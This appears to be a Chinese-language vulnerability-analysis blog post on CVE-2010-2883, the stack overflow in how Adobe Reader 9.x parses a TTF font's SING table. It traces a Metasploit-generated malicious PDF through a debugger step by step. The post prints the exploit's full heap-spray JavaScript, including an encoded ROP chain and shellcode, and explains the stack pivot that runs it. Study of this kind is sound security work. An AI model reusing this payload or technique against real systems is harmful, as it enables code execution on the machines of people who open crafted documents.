跳转至

[CVE 2010 2883]AdobeReaderTTF字体SING表栈溢出漏洞

[CVE-2010-2883]Adobe Reader TTF 字体SING表栈溢出漏洞

题外话

这么老的一个洞,在看雪搜文章的时候发现火绒发了篇文章,竟然现在还有利用这个洞的病毒

https://bbs.pediy.com/thread-260419.htm

环境相关

系统:win xp sp3

软件下载地址:ftp://ftp.adobe.com/pub/adobe/reader/win/9.x/9.3.4/enu/

漏洞分析

软件安装好之后有个 CoolType.dll,在解析字体文件 SING 表 UniqueName项的时候直接使用了 strcat

1608451596067-294747c1-e0a8-44e8-8060-ed090c5cf890.png

先用 msf 生成一个恶意文档

1608452877614-431c49a7-e9c5-4326-9bdc-461bbcd64e73.png

用 adobe reader 打开可以弹出一个计算器

1608452998672-d0b1e361-680e-4bcd-8074-63eaf5a33544.png

可以使用 PDFStreamDumper 来分析 PDF 文档,在菜单中找到 search for,搜一下 TTF Fonts

1608528670400-cb742c1a-3c18-441c-82f9-6eeae49afe0d.png

搜索结果在下面

1608528750263-7765f0bc-d9d8-4f67-a0fd-6aa3ed09300a.png

TrueTypeFont 是由美国苹果公司和微软公司共同开发的一种计算机轮廓字体(曲边描边字)类型标准。

TTF 字体中 TableEntry 结构包含了所指表的资源标记、校验和、偏移量和每个表的大小:

typedef struct
{
Char tag[4];   //SING字符串
ULONG checkSum;    //校验和
ULONG offset;  //相对文件偏移
ULONG length;  //数据长度
}

在 object 10 找到 SING

1608453095078-1474cf98-05e7-4dfe-b93f-7caa5caef4e4.png

根据结构中的 offset 可以分析出来,真正的位置是在:

1608470527704-f2c0df21-8ee4-49f8-92da-fdd5eb63c112.png

SING 的格式如下,即 uniqueName 是在 +0x10 的位置,uniqueName 就是待会拼接的那个东西

typedef struct
{
    USHORT  tableVersionMajor; 
    USHORT  tableVersionMinor;
    USHORT  glyphletVersion;
    USHORT  embeddinginfo;
    USHORT  mainGID;
    USHORT  unitsPerEm;
    SHORT   vertAdvance;
    SHORT   vertOrigin;
    BYTE[28]    uniqueName;
    BYTE[16]    METAMD5;
    BYTE    nameLength;
    BYTE[]  baseGlyphName;
} SINGTable;

用 OD 动态调试看一下,打开 adobe reader,再打开 OD 附加进程,F9 运行起来,然后 ctrl+G 找到 0x803DD74,这里是 'SING' 进栈的地方,在这里下一个断点,然后把之前 msf 生成的 pdf 样本拖进。他会给断住,单步走几步到 0x803DD7D,此时数据窗口中跟随看一下 ecx 指向的地址

1608527292704-fc910a28-ffa4-4b30-ade7-e39276026949.png

然后选中 A8 14 87 05 数据窗口中跟随一下得到:

1608528042865-35a6d248-1c5e-4862-b642-e58a9ee11caa.png

这一块就是之前我们在 PDFStreamDumper 中搜索到的 TTF Fonts 的结构,0x00000100 是版本

1608549917698-03afa3d3-ee9d-42b5-8fb5-9207cbb3cb54.png

执行完那个 call 之后,在数据窗口中看一下 eax 中存的地址的内容正好是 SING 表的内容,然后比较了一下 eax 与 esi 判断 SING 表是不是空的

1608550593919-2c026b50-16e4-42ff-928d-60ca292bea4a.png

接下来的 add eax,0x10 使得 eax 指向了 uniqueName,再通过 push eax 传参

1608551353883-ead34ac4-954d-4467-9991-19f298df52fb.png

继续单步执行,就到了 strcat 那里了,strcat 会把 0x5871150 复制到 0x012E4D8

1608551546023-c1e02891-98e5-4bd1-bc03-05c3a75c0d23.png

执行完这个 call 之后在 0x012E4D8 这里下个内存访问断点

1608555552961-816ed76f-3325-40ea-9f9e-04f8b1ab9fc6.png

然后运行起来,当程序访问到这一块的时候就会断下来,经过多次断下之后会遇到一个 0x808B308 的 call dword ptr ds:[eax]

1608558658893-d5790ab1-7f9e-4110-afdf-c7a7b7334f3d.png

他接下来会通过 call 来执行 0x4A80CB38 这一块的代码,依次执行了:

add ebp,0x794
leave
retn

其中 leave 指令相当于

mov esp,ebp
pop ebp

这样就把 esp 指向了 uniqueName 那块内存

1608561433740-ae41b6ef-331b-4c0a-995c-ff2668ee0dbc.png

执行完之后执行了

pop esp
retn

把 esp 写成了之前布置好的 0c0c0c0c

1608613102249-6293b133-38ed-4ace-bfcb-b053c6580415.png

retn 的时候就跑到了 0x0c0c0c0c,这个位置通过堆喷射早就布局好了 shellcode

1608633121156-4391d766-621e-46b3-8616-81500049d3dc.png

堆喷射:在堆空间申请大量的内存,填充类似 nop 之类的滑行指令与 shellcode,这样修改返回地址跳转到堆中的某个地址的时候滑行一段时间就能执行 shellcode(跳转到一堆滑行指令比起精准跳转到 shellcode 开头要容易)

在 PDFStreamDumper 中查看一下 JS 代码:

(正常来说应该是搜索 javascript?对这个软件不太熟悉,在 object 12 中就有,不过变量名很奇怪,估计是 msf 为了绕过杀毒软件的检测)

1608626876725-47b848f5-b67b-409f-b869-491b43a2cc3b.png

改一下变量名:

var shellcode = unescape( '%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc9da%u74d9%uf424%u2958%ubdc9%u9b55%uab16%u31b1%u6831%u8318%ufce8%u6803%u7941%u57e3%uff81%ua80c%u6051%u4d84%ua060%u06f2%u10d2%u4a70%udbde%u7fd4%ua955%u70f0%u04de%ube27%u35df%ua11b%u4463%u0148%u875a%u409d%ufa9b%u106c%u7074%u85c2%uccf1%u2edf%uc049%ud267%ue319%u4546%uba12%u6748%ub6f7%u7fc0%uf214%uf49b%u88ee%udd1d%u703f%u20b1%u83f0%u65cb%u7c36%u9fbe%u0145%u5bb9%udd34%u784c%u969e%ua4f7%u7a1f%u2e61%u3713%u68e5%uc637%u032a%u4343%uc4cd%u17c2%uc0ea%ucc8f%u5193%ua275%u82ac%u1bd6%uc809%u48fa%u9320%u8f90%ua9b6%u90d6%ub1c8%uf946%u3af9%u7e09%ue906%u706e%ub04c%u19c6%u2009%u445b%u9eaa%u719f%u2b29%u865f%u5e31%uc25a%ub2f5%u5b16%ub490%u5c85%ud6b1%ucf48%u3759%u77ef%u47fb' );
var nopnop = unescape( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"  );
while (nopnop.length + 20 + 8 < 65536) nopnop+=nopnop;
var_a = nopnop.substring(0, (0x0c0c-0x24)/2);
var_a += shellcode;
var_a += nopnop;
var_b = var_a.substring(0, 65536/2);
while(var_b.length < 0x80000) var_b += var_b;
var_c = var_b.substring(0, 0x80000 - (0x1020-0x08) / 2);//到这里每个堆块中写的滑行代码+shellcode就确定了
var var_1 = new Array();
for (i=0;i<0x1f0;i++) var_1[i]=var_c+"s";//这里就挨个放了前面定义好的代码了

之后 pop ecx 把 'UTF-32' 的地址给了 ecx

1608633445715-c11dbe2b-b68c-4cf9-a146-06e737a4bf78.png

然后把 eax 的值 0x12E6D0 保存到了里面

1608560127655-4d070ca2-1eba-4927-a10f-c399aee11747.png

在返回到 pop eax,把 CreateFileA 函数的地址放在 eax

1608633907528-cd729ca7-b634-4957-b41f-f8a007feacae.png

返回后执行 jmp [eax] 去执行 CreateFileA

1608634106188-86035a0b-39a7-4eee-871f-1c6b7ccb781a.png

以隐藏的方式创建了一个临时文件,创建了一个文件,名字是:iso88951

1608634337611-2491aec9-1db9-46e6-b99a-b4195ae1b6c1.png

依次执行了 CreateFileMappingA 创建文件映射对象

1608635292407-670a58ef-ffd7-4be2-b929-4a649251e748.png

MapViewOfFile 将文件映射对象映射到当前程序的地址空间

1608635421324-7786b297-8865-49da-b8b3-29244fc73e8b.png

memcpy 把 shellcode 写到 MapViewOfFile 返回的可读可写可执行的地址

1608635695967-62d5cae6-29ba-4ea8-b309-ccab971785c5.png

接下来就可以正常的执行 shellcode 了

1608641102779-66030a61-fbf1-4936-b131-09f0f8cb389f.png

经过一段循环之后在内存中可以看到 calc.exe 了

1608641745995-256584a3-fd7a-47e6-87cb-5ba7d8bc93af.png

因为要通过 WinExec 来运行 calc.exe,直接 ctrl+g 来到 WinExec 代码那里下个断点,直接 F9 运行起来就会断住

1608642004663-894dc171-acef-4f65-906a-1a3e2c28bf86.png

再运行的话计算器就弹出来了

1608642095734-4817368c-b50f-4be5-bdbf-4f2a36007a75.png

参考:

https://bbs.pediy.com/thread-257172.htm

https://bbs.pediy.com/thread-251801.htm

https://www.sunxiaokong.xyz/2019-08-30/lzx-01

https://my.oschina.net/u/3281747/blog/1789733

原文: https://www.yuque.com/hxfqg9/bin/rfnt46